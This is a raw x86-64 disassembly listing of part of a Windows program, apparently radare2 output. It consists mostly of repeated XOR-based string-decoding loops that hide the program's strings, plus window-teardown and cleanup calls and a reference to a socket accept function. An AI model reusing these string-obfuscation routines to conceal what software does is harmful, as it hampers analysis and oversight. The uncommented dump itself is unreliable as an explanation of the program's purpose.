packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x48
jl 0x1402c4821
cmp r8d, 0x4d
jge 0x1402c4974
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x4d
jl 0x1402c4940
mov r9, r10
lea rcx, [rbp + 0x1290]
mov r8d, 0x1388
mov edx, r14d
call fcn.140044180
lea rcx, [rbp + 0x1290]
call fcn.140044260
mov eax, dword [0x140593128]
cmp eax, 4
jne 0x1402c4b78
lea rdx, [rbp + 0x440]
mov byte [rsp + 0x60], r12b
lea rcx, [rsp + 0x60]
call fcn.1402c61a0
mov r10, rax
cmp byte [rax + 0x4c], r12b
je 0x1402c4b54
mov r8d, r12d
cmp esi, 2
jl 0x1402c4b13
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x48
jl 0x1402c4a01
cmp r8d, 0x4d
jge 0x1402c4b54
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x4d
jl 0x1402c4b20
mov r9, r10
lea rcx, [rbp + 0x1290]
mov r8d, 0x1388
mov edx, r14d
call fcn.140044180
lea rcx, [rbp + 0x1290]
call fcn.140044260
lea rdx, [rbp + 0x10]
mov dword [0x14059312c], 3
lea rcx, [rsp + 0x60]
mov dword [0x140593330], r12d
mov byte [rsp + 0x60], r12b
call fcn.1402c61f0
mov r10, rax
cmp byte [rax + 0x1b], r12b
je 0x1402c4d34
mov r8d, r12d
cmp esi, 2
jl 0x1402c4cf2
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x1402c4be0
cmp r8d, 0x1c
jge 0x1402c4d34
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x1c
jl 0x1402c4d00
mov r9, r10
lea rcx, [rbp + 0x1290]
mov r8d, 0x1388
mov edx, r14d
call fcn.140044180
lea rcx, [rbp + 0x1290]
call fcn.140044260
call fcn.140041a50
call fcn.140041da0
xor ecx, ecx
call fcn.140005c90
call fcn.1402c66b0
mov rcx, qword [0x1405932a0]
call qword [sym.imp.USER32.dll_DestroyWindow]
movss xmm7, dword [0x1403f44b4]
jmp 0x1402c22fb
movss xmm7, dword [0x1403f44b4]
jmp 0x1402c22f5
mov eax, dword [rsp + 0x64]
mov r9, r10
mov dword [rsp + 0x64], eax
mov r8d, r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, r13d
jl 0x1402c4db0
xor r9d, r9d
movss dword [rsp + 0x20], xmm12
xor r8d, r8d
lea rcx, [rbp + 0x768]
mov rdx, r10
call fcn.14000af90
movss xmm1, dword [rsp + 0x70]
lea rcx, [rbp + 0x770]
movaps xmm2, xmm6
subss xmm1, dword [rax]
subss xmm1, dword [rbx]
mulss xmm1, xmm10
call fcn.140001450
mov rcx, rax
call fcn.140015700
lea rdx, [rbp + 0x438]
mov byte [rsp + 0x60], r12b
lea rcx, [rsp + 0x60]
call fcn.1402c6220
movzx ecx, byte [rax + 4]
test cl, cl
je 0x1402c4e60
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor cl, 0x3d
mov byte [rax + 4], cl
xor r9d, r9d
movss dword [rsp + 0x20], xmm12
xor r8d, r8d
lea rcx, [rbp + 0x778]
mov rdx, rax
call fcn.14000af90
movss xmm2, dword [0x1403f4408]
lea rcx, [rbp + 0x780]
movss xmm1, dword [rax]
call fcn.140001450
lea rdx, [rbp + 0x138]
mov byte [rbp - 0x11], r12b
lea rcx, [rbp - 0x11]
mov rbx, rax
call fcn.1402c6220
movzx ecx, byte [rax + 4]
test cl, cl
je 0x1402c4ecc
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor cl, 0x3d
mov byte [rax + 4], cl
mov r8, rbx
mov rdx, rax
mov cl, 1
call fcn.1400383e0
jmp 0x1402c5577
mov rcx, qword [0x140593120]
call fcn.140011460
lea rdx, [rbp + 0x788]
mov byte [rsp + 0x60], r12b
lea rcx, [rsp + 0x60]
call fcn.1402c5df0
mov r10, rax
cmp byte [rax + 7], r12b
je 0x1402c5016
cmp esi, 2
jl 0x1402c5183
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
mov ebx, dword [rsp + 0x64]
xor r9d, r9d
movss dword [rsp + 0x20], xmm12
xor r8d, r8d
lea rcx, [rbp + 0x790]
mov rdx, r10
call fcn.14000af90
movss xmm6, dword [0x1403f4408]
lea rcx, [rbp + 0x798]
movaps xmm2, xmm6
movss xmm1, dword [rax]
call fcn.140001450
lea rdx, [rbp + 0x7a0]
mov byte [rbp - 0x10], r12b
lea rcx, [rbp - 0x10]
mov rdi, rax
call fcn.1402c5cb0
mov r10, rax
cmp byte [rax + 7], r12b
je 0x1402c5213
cmp esi, 2
jl 0x1402c51c9
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x1402c5213
mov ebx, dword [rsp + 0x64]
mov r9, r10
mov dword [rsp + 0x64], ebx
mov r8d, r12d
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, r13d
jl 0x1402c5191
jmp 0x1402c501a
mov r9, r10
mov dword [rsp + 0x64], ebx
mov r8d, r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, r13d
jl 0x1402c51e0
cmp dword [0x14059312c], r12d
mov r8, rdi
mov rdx, r10
sete cl
call fcn.1400383e0
test al, al
je 0x1402c5237
mov dword [0x14059312c], r12d
movaps xmm1, xmm12
movaps xmm0, xmm8
call fcn.140015620
lea rdx, [rbp + 0x7a8]
mov byte [rsp + 0x60], r12b
lea rcx, [rsp + 0x60]
call fcn.1402c5df0
mov r10, rax
cmp byte [rax + 7], r12b
je 0x1402c53b3
cmp esi, 2
jl 0x1402c5375
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x1402c53b3
mov r9, r10
mov dword [rsp + 0x64], ebx
mov r8d, r12d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, r13d
jl 0x1402c5380
xor r9d, r9d
movss dword [rsp + 0x20], xmm12
xor r8d, r8d
lea rcx, [rbp + 0x7b0]
mov rdx, r10
call fcn.14000af90
movaps xmm2, xmm6
lea rcx, [rbp + 0x7b8]
movss xmm1, dword [rax]
call fcn.140001450
lea rdx, [rbp - 0x30]
mov byte [rsp + 0x68], r12b
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.1402c5df0
mov r10, rax
cmp byte [rax + 7], r12b
je 0x1402c5553
cmp esi, 2
jl 0x1402c5513
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x1402c5553
mov r9, r10
mov dword [rsp + 0x64], ebx
mov r8d, r12d
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, r13d
jl 0x1402c5520
cmp dword [0x14059312c], 1
mov r8, rdi
mov rdx, r10
sete cl
call fcn.1400383e0
test al, al
je 0x1402c5577
mov dword [0x14059312c], r14d
call fcn.140011500
call fcn.140015b00
call fcn.1402b7c00
call fcn.1400442b0
call fcn.140010480
call fcn.14000aad0
mov rcx, qword [0x1405932c0]
lea r8, [0x1405932a8]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x2d8], xmm0
mov edx, r14d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x1405932c0]
lea r8, [rbp + 0x2d8]
mov rdx, qword [0x1405932a8]
mov rax, qword [rcx]
call qword [rax + 0x190]
call fcn.1400078f0
mov rcx, rax
call fcn.1400407f0
mov rcx, qword [0x1405932b0]
xor r8d, r8d
mov edx, r14d
mov rax, qword [rcx]
call qword [rax + 0x40]
mov ebx, dword [rsp + 0x64]
test bl, bl
jne 0x1402c5681
mov r15d, dword [reloc.WS2_32.dll_accept]
jmp 0x1402bd99b
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rbp + 0x138]
mov byte [rsp + 0x68], r12b
lea rcx, [rsp + 0x68]
call fcn.1402c6150
movzx ecx, byte [rax + 5]
test cl, cl
je 0x1402c5652
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor cl, 0x3e
mov byte [rax + 5], cl
mov r9, rax
lea rcx, [rbp + 0x1290]
mov edx, 3
mov r8d, 0x1388
call fcn.140044180
lea rcx, [rbp + 0x1290]
call fcn.140044260
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140041a50
call fcn.140041da0
mov rbx, qword [0x140593110]
mov qword [0x140593110], rbx
call fcn.1400060f0
mov rcx, rbx
mov qword [0x140593110], r12
call fcn.14001f410
call fcn.1402c66b0
mov rcx, qword [0x1405932a0]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x308]
mov rcx, qword [rbp + 0x330]
call qword [sym.imp.USER32.dll_UnregisterClassW]
lea rcx, [rbp + 0xda0]
call fcn.1402c7860
lea rcx, [rbp + 0xda0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x918]
call fcn.1402c7c60
lea rcx, [rbp + 0x938]
call fcn.1402c7c60
lea rcx, [rbp + 0xe00]
call fcn.1402c6240
lea rcx, [rbp + 0x490]
call fcn.1402c7c60
lea rcx, [rbp + 0x4b0]
call fcn.1402c7c60
lea rcx, [rbp + 0x4d0]
call fcn.1402c7c60
lea rcx, [rbp + 0x4f0]
call fcn.1402c7c60
lea rcx, [rbp + 0x510]
call fcn.1402c7c60
movaps xmm14, xmmword [rsp + 0x3bb0]
xor eax, eax
movaps xmm8, xmmword [rsp + 0x3c10]
movaps xmm12, xmmword [rsp + 0x3bd0]
movaps xmm11, xmmword [rsp + 0x3be0]
movaps xmm9, xmmword [rsp + 0x3c00]
movaps xmm15, xmmword [rsp + 0x3ba0]
movaps xmm10, xmmword [rsp + 0x3bf0]
movaps xmm13, xmmword [rsp + 0x3bc0]
movaps xmm7, xmmword [rsp + 0x3c20]
mov r14, qword [rsp + 0x3c40]
mov rdi, qword [rsp + 0x3c80]
mov rsi, qword [rsp + 0x3c78]
mov r13, qword [rsp + 0x3c48]
mov rbx, qword [rsp + 0x3c70]
movaps xmm6, xmmword [rsp + 0x3c30]
add rsp, 0x3c50
pop r15
pop r12
pop rbp
ret